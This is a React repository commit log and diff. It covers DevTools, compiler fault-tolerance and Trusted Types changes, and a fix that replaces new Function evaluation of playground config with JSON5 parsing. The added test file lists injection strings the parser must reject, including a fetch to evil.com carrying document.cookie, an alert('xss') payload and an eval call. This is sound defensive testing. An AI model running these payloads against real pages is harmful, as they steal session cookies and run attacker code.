<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/facebook/react/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-03-12 08:38:01 -07:00
Sebastian "Sebbie" Silbermann
7b5b561bd2 [DevTools] Ignore new production renderers if we already use "worse" versions of React on a page (#35994) 2026-03-11 10:26:35 +01:00
Sebastian "Sebbie" Silbermann
014138df87 [DevTools] Fix a crash when rendering a new class Component when simulating errored state (#35985) 2026-03-10 18:05:48 +01:00
fre$h
4610359651 [DevTools] Fix null ref crash in ContextMenu when items list is empty (#35929)
Co-authored-by: Sebastian Sebbie Silbermann <sebastian.silbermann@vercel.com>
2026-03-05 16:52:23 +01:00
Ricky
93882bd40e [errors] s/form state/action state (#35790)
Noticed `useActionState` error still refers to "form state" while
writing the docs.
2026-03-04 14:20:03 -05:00
Sebastian "Sebbie" Silbermann
3bc2d41428 [noop] Fix createContainer argument order in the Fiber implementation (#35945) 2026-03-04 14:20:43 +01:00
Sebastian "Sebbie" Silbermann
5e4279134d [noop] Typecheck react-noop-renderer against host config and renderer API (#35944) 2026-03-04 13:52:11 +01:00
Sebastian "Sebbie" Silbermann
ee4699f5a1 [noop] Fail tests on unasserted recoverable errors (#35948) 2026-03-04 13:41:58 +01:00
Sebastian "Sebbie" Silbermann
23b2d8514f [DevTools] Don't connect to pages that are being prerendered (#35958) 2026-03-04 13:39:16 +01:00
Sebastian "Sebbie" Silbermann
4b568a8dbb [DevTools] Improve type coverage for extension runtime API (#35957) 2026-03-04 12:47:32 +01:00
Jack Pope
9c0323e2cf Stabilize reactFragments host node handle (#35642)
https://github.com/facebook/react/pull/34935 Introduced
`unstable_reactFragments` handle on DOM nodes to enable caching of
Observers.

This has been tested in production and is stable so it can be rolled out
with the Fragment Refs feature.
2026-03-03 15:44:11 -05:00
Sebastian "Sebbie" Silbermann
e6f1c33acf [Fiber] Don't warn when rendering data block scripts (#35953) 2026-03-03 19:38:41 +01:00
Rubén Norte
4cc5b7a90b Add support for event information in React scheduler tracks in React Native (#35947)
## Summary

This defines the same fiber configuration for RN as used in DOM, so we
can expose event timing information in the React scheduler tracks in
performance traces.

This was unblocked by #35913 and #35912.

## How did you test this change?

Manually compiled the renderer and tested e2e in FB infra: 
<img width="1217" height="161" alt="Screenshot 2026-03-03 at 10 10 44"
src="https://github.com/user-attachments/assets/6ca1512e-dcaf-49cf-8da9-1c6ae554733a"
/>
2026-03-03 13:12:23 +00:00
Ruslan Lesiutin
aac12ce597 [DevTools] chore: extract pure functions from fiber/renderer.js (#35924)
I am in a process of splitting down the renderer implementation into
smaller units of logic that can be reused. This change is about
extracting pure functions only.
2026-03-03 12:27:05 +00:00
Sebastian "Sebbie" Silbermann
93a3935d02 [DevTools] Only schedule a single update per Supense when changing timeline (#35927) 2026-03-03 12:21:46 +01:00
Ruslan Lesiutin
e0cc7202e1 [flags] Clean up enableHiddenSubtreeInsertionEffectCleanup (#35918)
Been enabled in stable for quite a while, also rolled out at Meta.
2026-02-27 14:46:43 +00:00
Dmitrii
843d69f077 [react-dom] Support maskType SVG prop (#35921)
Co-authored-by: Dmitrii Troitskii <jsleitor@gmail.com>
2026-02-27 13:41:22 +01:00
Ruslan Lesiutin
b4a8d29845 fix: remove unused variable to fix linter (#35919) 2026-02-26 21:48:35 +00:00
Joseph Savona
6b113b7bd1 [compiler] Deduplicate errors between ValidateExhaustiveDependencies and ValidatePreservedManualMemoization (#35917)
With the recent changes to make the compiler fault tolerant and always
continue through all passes, we can now sometimes report duplicative
errors. Specifically, when `ValidateExhaustiveDependencies` finds
incorrect deps for a useMemo/useCallback call,
`ValidatePreservedManualMemoization` will generally also error for the
same block, producing duplicate errors. The exhaustive deps error is
strictly more informative, so if we've already reported the earlier
error we don't need the later one.

This adds a `hasInvalidDeps` flag to StartMemoize that is set when
ValidateExhaustiveDependencies produces a diagnostic.
ValidatePreservedManualMemoization then skips validation for memo blocks
with this flag set.
2026-02-26 12:40:55 -08:00
Rubén Norte
98ce535fdb [RN] Expose event as a global variable during dispatch (#35913)
## Summary

This PR updates the event dispatching logic in React Native to expose
the dispatched event in the global scope as done on Web
(https://dom.spec.whatwg.org/#concept-event-listener-inner-invoke) and
in the new implementation of `EventTarget` in React Native
(d1b2ddc9cb/packages/react-native/src/private/webapis/dom/events/EventTarget.js (L372)).

## How did you test this change?

Added unit tests
2026-02-26 15:51:23 +00:00
Rubén Norte
a48e9e3f10 [RN] Fix timeStamp property of SyntheticEvent in React Native (#35912)
## Summary

This fixes the semantics of the `timeStamp` property of events in React
Native.

Currently, most events just assign `Date.now()` (at the time of creating
the event object in JavaScript) as the `timeStamp` property. This is a
divergence with Web and most native platforms, that use a monotonic
timestamp for the value (on Web, the same timestamp provided by
`performance.now()`).

Additionally, many native events specify a timestamp in the event data
object as `timestamp` and gets ignored by the logic in JS as it only
looks at properties named `timeStamp` specifically (camel case).

This PR fixes both issues by:
1. Using `performance.now()` instead of `Date.now()` by default (if
available).
2. Checking for a `timestamp` property before falling back to the
default (apart from `timeStamp`).

## How did you test this change?

Added unit tests for verify the new behavior.
2026-02-26 15:51:07 +00:00
Ricky
074d96b9dd [flags] land enableTrustedTypesIntegration (#35816)
## Summary

This flag enables React's integration with the browser [Trusted Types
API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

The Trusted Types API is a browser security feature that helps prevent
DOM-based XSS attacks. When a site enables Trusted Types enforcement via
`Content-Security-Policy: require-trusted-types-for 'script'`, the
browser requires that values passed to DOM injection sinks (like
`innerHTML`) are typed objects (`TrustedHTML`, `TrustedScript`,
`TrustedScriptURL`) created through developer-defined sanitization
policies, rather than raw strings.

 ### What changed

Previously, React always coerced values to strings (via `'' + value`)
before passing them to DOM APIs like `setAttribute` and `innerHTML`.
This broke Trusted Types because it converted typed objects into plain
strings, which the browser would then reject under Trusted Types
enforcement.

React now passes values directly to DOM APIs without string coercion,
preserving Trusted Types objects so the browser can validate them. This
applies to `dangerouslySetInnerHTML`, all HTML and SVG attributes, and
URL attributes (`href`, `action`, etc).

 ### Before (broken)

Using Trusted Types with something like`dangerouslySetInnerHTML` would
throw:

 ```js
 const sanitizer = trustedTypes.createPolicy('sanitizer', {
   createHTML: (input) => DOMPurify.sanitize(input),
 });

 function Comment({text}) {
   const clean = sanitizer.createHTML(text);
   // clean is a TrustedHTML object, but React would call '' + clean,
   // converting it back to a plain string before setting innerHTML.
   // Under Trusted Types enforcement, the browser rejects the string:
   //
   //   TypeError: Failed to set 'innerHTML' on 'Element':
   //   This document requires 'TrustedHTML' assignment.
   return <div dangerouslySetInnerHTML={{__html: clean}} />;
 }
 ```

### After (works)

React now passes the TrustedHTML object directly to the DOM without
stringifying it:

```js
 const policy = trustedTypes.createPolicy('sanitizer', {
   createHTML: (input) => DOMPurify.sanitize(input),
 });

 function Comment({text}) {
   // TrustedHTML objects are passed directly to innerHTML
   return <div dangerouslySetInnerHTML={{__html: policy.createHTML(text)}} />;
 }

 function UserProfile({bio}) {
   // String attribute values also preserve Trusted Types objects
   return <div data-bio={policy.createHTML(bio)} />;
 }
 ```

 ## Non-breaking change

 - Sites using Trusted Types: React no longer breaks Trusted Types enforcement. TrustedHTML and TrustedScriptURL objects passed through React props are forwarded to the DOM without being stringified.
 - Sites not using Trusted Types: No behavior change. DOM APIs accept both strings and Trusted Types objects, so removing the explicit string coercion is functionally identical.
2026-02-25 14:49:30 -05:00
Joseph Savona
e33071c614 [compiler] Improved ref validation for non-mutating functions (#35893)
If a function is known to freeze its inputs, and captures refs, then we
can safely assume those refs are not mutated during render.

An example is React Native's PanResponder, which is designed for use in
interaction handling. Calling `PanResponder.create()` creates an object
that shouldn't be interacted with at render time, so we can treat it as
freezing its arguments, returning a frozen value, and not accessing any
refs in the callbacks passed to it. ValidateNoRefAccessInRender is
updated accordingly - if we see a Freeze <place> and ImmutableCapture
<place> for the same place in the same instruction, we know that it's
not being mutated.

Note that this is a pretty targeted fix. One weakness is that we may not
always emit a Freeze effect if a value is already frozen, which could
cause this optimization not to kick in. The worst case there is that
you'd just get a ref access in render error though, not miscompilation.
And we could always choose to always emit Freeze effects, even for
frozen values, just to retain the information for validations like this.
2026-02-24 12:36:32 -08:00
Mushaheed Kapadia
c0060cf2a6 [DevTools] Enable support for the React DevTools Client to connect to different host/port/path (#35886)
## Summary

This enables routing the React Dev Tools through a remote server by
being able to specify host, port, and path for the client to connect to.
Basically allowing the React Dev Tools server to have the client connect
elsewhere.

This setups a `clientOptions` which can be set up through environment
variables when starting the React Dev Tools server.

This change shouldn't affect the traditional usage for React Dev Tools.

EDIT: the additional change was moved to another PR 

## How did you test this change?

Run React DevTools with 
```
$ REACT_DEVTOOLS_CLIENT_HOST=<MY_HOST> REACT_DEVTOOLS_CLIENT_PORT=443 REACT_DEVTOOLS_CLIENT_USE_HTTPS=true REACT_DEVTOOLS_PATH=/__react_devtools__/ yarn start

```

Confirm that my application connects to the local React Dev Tools
server/instance/electron app through my remote server.
2026-02-24 15:36:32 +00:00
Mushaheed Kapadia
bd76b456c1 [DevTools] Fix ReactDevToolsBackend module for AMD (#35891)
## Summary

For apps that use AMD, we need to actually `require()` the
ReactDevToolsBackend and load it from the AMD module cache. This adds a
check for the case where the `ReactDevToolsBackend` isn't defined
globally, and so we load it with `require()`.


## How did you test this change?

Tested through https://github.com/facebook/react/pull/35886
2026-02-24 15:27:59 +00:00
Joseph Savona
b354bbd2d2 [compiler] Update docs with fault tolerance summary, remove planning doc (#35888)
Add concise fault tolerance documentation to CLAUDE.md and the passes
README covering error accumulation, tryRecord wrapping, and the
distinction between validation vs infrastructure passes. Remove the
detailed planning document now that the work is complete.
2026-02-23 16:18:44 -08:00
Joseph Savona
c92c579715 [compiler] Fix Pipeline.ts early-exit, formatting, and style issues (#35884)
Fix the transformFire early-exit in Pipeline.ts to only trigger on new
errors from transformFire itself, not pre-existing errors from earlier
passes. The previous `env.hasErrors()` check was too broad — it would
early-exit on validation errors that existed before transformFire ran.

Also add missing blank line in CodegenReactiveFunction.ts Context class,
and fix formatting in ValidateMemoizedEffectDependencies.ts.

---
[//]: # (BEGIN SAPLING FOOTER)
Stack created with [Sapling](https://sapling-scm.com). Best reviewed
with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35884).
* #35888
* __->__ #35884
2026-02-23 16:16:41 -08:00
Joseph Savona
011cede068 [compiler] Rename mismatched variable names after type changes (#35883)
Rename `state: Environment` to `env: Environment` in
ValidateMemoizedEffectDependencies visitor methods, and
`errorState: Environment` to `env: Environment` in
ValidatePreservedManualMemoization's validateInferredDep.

---
[//]: # (BEGIN SAPLING FOOTER)
Stack created with [Sapling](https://sapling-scm.com). Best reviewed
with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35883).
* #35888
* #35884
* __->__ #35883
2026-02-23 16:13:46 -08:00
Joseph Savona
2e0927dc70 [compiler] Remove local CompilerError accumulators, emit directly to env.recordError() (#35882)
Removes unnecessary indirection in 17 compiler passes that previously
accumulated errors in a local `CompilerError` instance before flushing
them to `env.recordErrors()` at the end of each pass. Errors are now
emitted directly via `env.recordError()` as they're discovered.

For passes with recursive error-detection patterns
(ValidateNoRefAccessInRender,
ValidateNoSetStateInRender), the internal accumulator is kept but
flushed
via individual `recordError()` calls. For InferMutationAliasingRanges,
a `shouldRecordErrors` flag preserves the conditional suppression logic.
For TransformFire, the throw-based error propagation is replaced with
direct recording plus an early-exit check in Pipeline.ts.

---
[//]: # (BEGIN SAPLING FOOTER)
Stack created with [Sapling](https://sapling-scm.com). Best reviewed
with [ReviewStack](https://reviewstack.dev/facebook/react/pull/35882).
* #35888
* #35884
* #35883
* __->__ #35882
2026-02-23 16:11:50 -08:00
279 changed files with 11896 additions and 7671 deletions

View File

@@ -463,6 +463,7 @@ module.exports = {
globals: {
nativeFabricUIManager: 'readonly',
RN$enableMicrotasksInReact: 'readonly',
RN$isNativeEventTargetEventDispatchingEnabled: 'readonly',
},
},
{
@@ -566,6 +567,7 @@ module.exports = {
CallSite: 'readonly',
ConsoleTask: 'readonly', // TOOD: Figure out what the official name of this will be.
ReturnType: 'readonly',
AggregateError: 'readonly',
AnimationFrameID: 'readonly',
WeakRef: 'readonly',
// For Flow type annotation. Only `BigInt` is valid at runtime.
@@ -626,6 +628,7 @@ module.exports = {
FinalizationRegistry: 'readonly',
Exclude: 'readonly',
Omit: 'readonly',
Pick: 'readonly',
Keyframe: 'readonly',
PropertyIndexedKeyframes: 'readonly',
KeyframeAnimationOptions: 'readonly',

View File

@@ -116,11 +116,13 @@ jobs:
run: |
sed -i -e 's/ @license React*//' \
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
- name: Insert @headers into eslint plugin and react-refresh
run: |
sed -i -e 's/ LICENSE file in the root directory of this source tree./ LICENSE file in the root directory of this source tree.\n *\n * @noformat\n * @nolint\n * @lightSyntaxTransform\n * @preventMunge\n * @oncall react_core/' \
build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
build/facebook-www/ESLintPluginReactHooks-dev.modern.js \
build/oss-experimental/react-refresh/cjs/react-refresh-babel.development.js
- name: Move relevant files for React in www into compiled
run: |
@@ -132,9 +134,9 @@ jobs:
mkdir ./compiled/facebook-www/__test_utils__
mv build/__test_utils__/ReactAllWarnings.js ./compiled/facebook-www/__test_utils__/ReactAllWarnings.js
# Copy eslint-plugin-react-hooks
# Copy eslint-plugin-react-hooks (www build with feature flags)
mkdir ./compiled/eslint-plugin-react-hooks
cp build/oss-experimental/eslint-plugin-react-hooks/cjs/eslint-plugin-react-hooks.development.js \
cp ./compiled/facebook-www/ESLintPluginReactHooks-dev.modern.js \
./compiled/eslint-plugin-react-hooks/index.js
# Move unstable_server-external-runtime.js into facebook-www
@@ -165,10 +167,6 @@ jobs:
# Delete the OSS renderers, these are sync'd to RN separately.
RENDERER_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/implementations/
rm $RENDERER_FOLDER/ReactFabric-{dev,prod,profiling}.js
# Delete the legacy renderer shim, this is not sync'd and will get deleted in the future.
SHIM_FOLDER=$BASE_FOLDER/react-native-github/Libraries/Renderer/shims/
rm $SHIM_FOLDER/ReactNative.js
# Copy eslint-plugin-react-hooks
# NOTE: This is different from www, here we include the full package

2
.gitignore vendored
View File

@@ -21,6 +21,7 @@ chrome-user-data
.idea
*.iml
.vscode
.zed
*.swp
*.swo
/tmp
@@ -40,4 +41,3 @@ packages/react-devtools-fusebox/dist
packages/react-devtools-inline/dist
packages/react-devtools-shell/dist
packages/react-devtools-timeline/dist

View File

@@ -33,7 +33,7 @@ const canaryChannelLabel = 'canary';
const rcNumber = 0;
const stablePackages = {
'eslint-plugin-react-hooks': '7.1.0',
'eslint-plugin-react-hooks': '7.1.1',
'jest-react': '0.18.0',
react: ReactVersion,
'react-art': ReactVersion,

View File

@@ -35,6 +35,20 @@ yarn snap -p <file-basename> -d
yarn snap -u
```
## Linting
```bash
# Run lint on the compiler source
yarn workspace babel-plugin-react-compiler lint
```
## Formatting
```bash
# Run prettier on all files (from the react root directory, not compiler/)
yarn prettier-all
```
## Compiling Arbitrary Files
Use `yarn snap compile` to compile any file (not just fixtures) with the React Compiler:
@@ -62,7 +76,7 @@ yarn snap minimize --update <path>
## Version Control
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitlyu added/removed.
This repository uses Sapling (`sl`) for version control. Sapling is similar to Mercurial: there is not staging area, but new/deleted files must be explicitly added/removed.
```bash
# Check status
@@ -229,20 +243,19 @@ Would enable the `enableJsxOutlining` feature and disable the `enableNameAnonymo
3. Look for `Impure`, `Render`, `Capture` effects on instructions
4. Check the pass ordering in Pipeline.ts to understand when effects are populated vs validated
## Error Handling for Unsupported Features
## Error Handling and Fault Tolerance
When the compiler encounters an unsupported but known pattern, use `CompilerError.throwTodo()` instead of `CompilerError.invariant()`. Todo errors cause graceful bailouts in production; Invariant errors are hard failures indicating unexpected/invalid states.
The compiler is fault-tolerant: it runs all passes and accumulates errors on the `Environment` rather than throwing on the first error. This lets users see all compilation errors at once.
```typescript
// Unsupported but expected pattern - graceful bailout
CompilerError.throwTodo({
reason: `Support [description of unsupported feature]`,
loc: terminal.loc,
});
**Recording errors** — Passes record errors via `env.recordError(diagnostic)`. Errors are accumulated on `Environment.#errors` and checked at the end of the pipeline via `env.hasErrors()` / `env.aggregateErrors()`.
// Invariant is for truly unexpected/invalid states - hard failure
CompilerError.invariant(false, {
reason: `Unexpected [thing]`,
loc: terminal.loc,
});
```
**`tryRecord()` wrapper** — In Pipeline.ts, validation passes are wrapped in `env.tryRecord(() => pass(hir))` which catches thrown `CompilerError`s (non-invariant) and records them. Infrastructure/transformation passes are NOT wrapped in `tryRecord()` because later passes depend on their output being structurally valid.
**Error categories:**
- `CompilerError.throwTodo()` — Unsupported but known pattern. Graceful bailout. Can be caught by `tryRecord()`.
- `CompilerError.invariant()` — Truly unexpected/invalid state. Always throws immediately, never caught by `tryRecord()`.
- Non-`CompilerError` exceptions — Always re-thrown.
**Key files:** `Environment.ts` (`recordError`, `tryRecord`, `hasErrors`, `aggregateErrors`), `Pipeline.ts` (pass orchestration), `Program.ts` (`tryCompileFunction` handles the `Result`).
**Test fixtures:** `__tests__/fixtures/compiler/fault-tolerance/` contains multi-error fixtures verifying all errors are reported.

View File

@@ -1,5 +1,3 @@
import type { PluginOptions } from 
'babel-plugin-react-compiler/dist';
({
{
  //compilationMode: "all"
} satisfies PluginOptions);
}

View File

@@ -237,7 +237,7 @@ test('show internals button toggles correctly', async ({page}) => {
test('error is displayed when config has syntax error', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: `compilationMode: `,
config: `{ compilationMode: }`,
showInternals: false,
};
const hash = encodeStore(store);
@@ -254,17 +254,17 @@ test('error is displayed when config has syntax error', async ({page}) => {
const output = text.join('');
// Remove hidden chars
expect(output.replace(/\s+/g, ' ')).toContain('Invalid override format');
expect(output.replace(/\s+/g, ' ')).toContain(
'Unexpected failure when transforming configs',
);
});
test('error is displayed when config has validation error', async ({page}) => {
const store: Store = {
source: TEST_SOURCE,
config: `import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
({
config: `{
compilationMode: "123"
} satisfies PluginOptions);`,
}`,
showInternals: false,
};
const hash = encodeStore(store);

View File

@@ -0,0 +1,157 @@
/**
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import assert from 'node:assert';
import {test, describe} from 'node:test';
import JSON5 from 'json5';
// Re-implement parseConfigOverrides here since the source uses TS imports
// that can't be directly loaded by Node. This mirrors the logic in
// compilation.ts exactly.
function parseConfigOverrides(configOverrides) {
const trimmed = configOverrides.trim();
if (!trimmed) {
return {};
}
return JSON5.parse(trimmed);
}
describe('parseConfigOverrides', () => {
test('empty string returns empty object', () => {
assert.deepStrictEqual(parseConfigOverrides(''), {});
assert.deepStrictEqual(parseConfigOverrides(' '), {});
});
test('default config parses correctly', () => {
const config = `{
//compilationMode: "all"
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {});
});
test('compilationMode "all" parses correctly', () => {
const config = `{
compilationMode: "all"
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('config with single-line and block comments parses correctly', () => {
const config = `{
// This is a single-line comment
/* This is a block comment */
compilationMode: "all",
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('config with trailing commas parses correctly', () => {
const config = `{
compilationMode: "all",
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: 'all'});
});
test('nested environment options parse correctly', () => {
const config = `{
environment: {
validateRefAccessDuringRender: true,
},
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {
environment: {validateRefAccessDuringRender: true},
});
});
test('multiple options parse correctly', () => {
const config = `{
compilationMode: "all",
environment: {
validateRefAccessDuringRender: false,
},
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {
compilationMode: 'all',
environment: {validateRefAccessDuringRender: false},
});
});
test('rejects malicious IIFE injection', () => {
const config = `(function(){ document.title = "hacked"; return {}; })()`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects malicious comma operator injection', () => {
const config = `{
compilationMode: (alert("xss"), "all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects function call in value', () => {
const config = `{
compilationMode: eval("all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects variable references', () => {
const config = `{
compilationMode: someVar
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects template literals', () => {
const config = `{
compilationMode: \`all\`
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects constructor calls', () => {
const config = `{
compilationMode: new String("all")
}`;
assert.throws(() => parseConfigOverrides(config));
});
test('rejects arbitrary JS code', () => {
const config = `fetch("https://evil.com?c=" + document.cookie)`;
assert.throws(() => parseConfigOverrides(config));
});
test('config with array values parses correctly', () => {
const config = `{
sources: ["src/a.ts", "src/b.ts"],
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {sources: ['src/a.ts', 'src/b.ts']});
});
test('config with null values parses correctly', () => {
const config = `{
compilationMode: null,
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {compilationMode: null});
});
test('config with numeric values parses correctly', () => {
const config = `{
maxLevel: 42,
}`;
const result = parseConfigOverrides(config);
assert.deepStrictEqual(result, {maxLevel: 42});
});
});

View File

@@ -21,9 +21,6 @@ import {monacoConfigOptions} from './monacoOptions';
import {IconChevron} from '../Icons/IconChevron';
import {CONFIG_PANEL_TRANSITION} from '../../lib/transitionTypes';
// @ts-expect-error - webpack asset/source loader handles .d.ts files as strings
import compilerTypeDefs from 'babel-plugin-react-compiler/dist/index.d.ts';
loader.config({monaco});
export default function ConfigEditor({
@@ -105,22 +102,10 @@ function ExpandedEditor({
_: editor.IStandaloneCodeEditor,
monaco: Monaco,
) => void = (_, monaco) => {
// Add the babel-plugin-react-compiler type definitions to Monaco
monaco.languages.typescript.typescriptDefaults.addExtraLib(
//@ts-expect-error - compilerTypeDefs is a string
compilerTypeDefs,
'file:///node_modules/babel-plugin-react-compiler/dist/index.d.ts',
);
monaco.languages.typescript.typescriptDefaults.setCompilerOptions({
target: monaco.languages.typescript.ScriptTarget.Latest,
allowNonTsExtensions: true,
moduleResolution: monaco.languages.typescript.ModuleResolutionKind.NodeJs,
module: monaco.languages.typescript.ModuleKind.ESNext,
noEmit: true,
strict: false,
esModuleInterop: true,
allowSyntheticDefaultImports: true,
jsx: monaco.languages.typescript.JsxEmit.React,
// Enable comments in JSON for JSON5-style config
monaco.languages.json.jsonDefaults.setDiagnosticsOptions({
allowComments: true,
trailingCommas: 'ignore',
});
};
@@ -157,8 +142,8 @@ function ExpandedEditor({
</div>
<div className="flex-1 border border-gray-300">
<MonacoEditor
path={'config.ts'}
language={'typescript'}
path={'config.json5'}
language={'json'}
value={store.config}
onMount={handleMount}
onChange={handleChange}

View File

@@ -25,6 +25,7 @@ import BabelPluginReactCompiler, {
type LoggerEvent,
} from 'babel-plugin-react-compiler';
import {transformFromAstSync} from '@babel/core';
import JSON5 from 'json5';
import type {
CompilerOutput,
CompilerTransformOutput,
@@ -126,6 +127,14 @@ const COMMON_HOOKS: Array<[string, Hook]> = [
],
];
export function parseConfigOverrides(configOverrides: string): any {
const trimmed = configOverrides.trim();
if (!trimmed) {
return {};
}
return JSON5.parse(trimmed);
}
function parseOptions(
source: string,
mode: 'compiler' | 'linter',
@@ -156,16 +165,7 @@ function parseOptions(
});
// Parse config overrides from config editor
let configOverrideOptions: any = {};
const configMatch = configOverrides.match(/^\s*import.*?\n\n\((.*)\)/s);
if (configOverrides.trim()) {
if (configMatch && configMatch[1]) {
const configString = configMatch[1].replace(/satisfies.*$/, '').trim();
configOverrideOptions = new Function(`return (${configString})`)();
} else {
throw new Error('Invalid override format');
}
}
const configOverrideOptions = parseConfigOverrides(configOverrides);
const opts: PluginOptions = parsePluginOptions({
...parsedPragmaOptions,

View File

@@ -14,11 +14,9 @@ export default function MyApp() {
`;
export const defaultConfig = `\
import type { PluginOptions } from 'babel-plugin-react-compiler/dist';
({
{
//compilationMode: "all"
} satisfies PluginOptions);`;
}`;
export const defaultStore: Store = {
source: index,

View File

@@ -32,6 +32,7 @@
"hermes-eslint": "^0.25.0",
"hermes-parser": "^0.25.0",
"invariant": "^2.2.4",
"json5": "^2.2.3",
"lru-cache": "^11.2.2",
"lz-string": "^1.5.0",
"monaco-editor": "^0.52.0",

View File

@@ -8,7 +8,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
* Bound the amount of re-rendering that happens on updates to ensure that apps have predictably fast performance by default.
* Keep startup time neutral with pre-React Compiler performance. Notably, this means holding code size increases and memoization overhead low enough to not impact startup.
* Retain React's familiar declarative, component-oriented programming model. Ie, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
* Retain React's familiar declarative, component-oriented programming model. i.e, the solution should not fundamentally change how developers think about writing React, and should generally _remove_ concepts (the need to use React.memo(), useMemo(), and useCallback()) rather than introduce new concepts.
* "Just work" on idiomatic React code that follows React's rules (pure render functions, the rules of hooks, etc).
* Support typical debugging and profiling tools and workflows.
* Be predictable and understandable enough by React developers — i.e. developers should be able to quickly develop a rough intuition of how React Compiler works.
@@ -19,7 +19,7 @@ The idea of React Compiler is to allow developers to use React's familiar declar
The following are explicitly *not* goals for React Compiler:
* Provide perfectly optimal re-rendering with zero unnecessary recomputation. This is a non-goal for several reasons:
* The runtime overhead of the extra tracking involved can outweight the cost of recomputation in many cases.
* The runtime overhead of the extra tracking involved can outweigh the cost of recomputation in many cases.
* In cases with conditional dependencies it may not be possible to avoid recomputing some/all instructions.
* The amount of code may regress startup times, which would conflict with our goal of neutral startup performance.
* Support code that violates React's rules. React's rules exist to help developers build robust, scalable applications and form a contract that allows us to continue improving React without breaking applications. React Compiler depends on these rules to safely transform code, and violations of rules will therefore break React Compiler's optimizations.
@@ -42,9 +42,9 @@ React Compiler has two primary public interfaces: a Babel plugin for transformin
The core of the compiler is largely decoupled from Babel, using its own intermediate representations. The high-level flow is as follows:
- **Babel Plugin**: Determines which functions in a file should be compiled, based on the plugin options and any local opt-in/opt-out directives. For each component or hook to be compiled, the plugin calls the compiler, passing in the original function and getting back a new AST node which will replace the original.
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (ie a loop).
- **Lowering** (BuildHIR): The first step of the compiler is to convert the Babel AST into React Compiler's primary intermediate representation, HIR (High-level Intermediate Representation). This phase is primarily based on the AST itself, but currently leans on Babel to resolve identifiers. The HIR preserves the precise order-of-evaluation semantics of JavaScript, resolves break/continue to their jump points, etc. The resulting HIR forms a control-flow graph of basic blocks, each of which contains zero or more consecutive instructions followed by a terminal. The basic blocks are stored in reverse postorder, such that forward iteration of the blocks allows predecessors to be visited before successors _unless_ there is a "back edge" (i.e. a loop).
- **SSA Conversion** (EnterSSA): The HIR is converted to HIR form, such that all Identifiers in the HIR are updated to an SSA-based identifier.
- Validation: We run various validation passes to check that the input is valid React, ie that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
- Validation: We run various validation passes to check that the input is valid React, i.e. that it does not break the rules. This includes looking for conditional hook calls, unconditional setState calls, etc.
- **Optimization**: Various passes such as dead code elimination and constant propagation can generally improve performance and reduce the amount of instructions to be optimized later.
- **Type Inference** (InferTypes): We run a conservative type inference pass to identify certain key types of data that may appear in the program that are relevant for further analysis, such as which values are hooks, primitives, etc.
- **Inferring Reactive Scopes**: Several passes are involved in determining groups of values that are created/mutated together and the set of instructions involved in creating/mutating those values. We call these groups "reactive scopes", and each can have one or more declarations (or occasionally a reassignment).

View File

@@ -1,333 +0,0 @@
## React Compiler Fault Tolerance
Update React Compiler (@compiler/ directory) to always run all passes and return either the transformed code (if no error) or a list of one or more compilation errors.
## Background
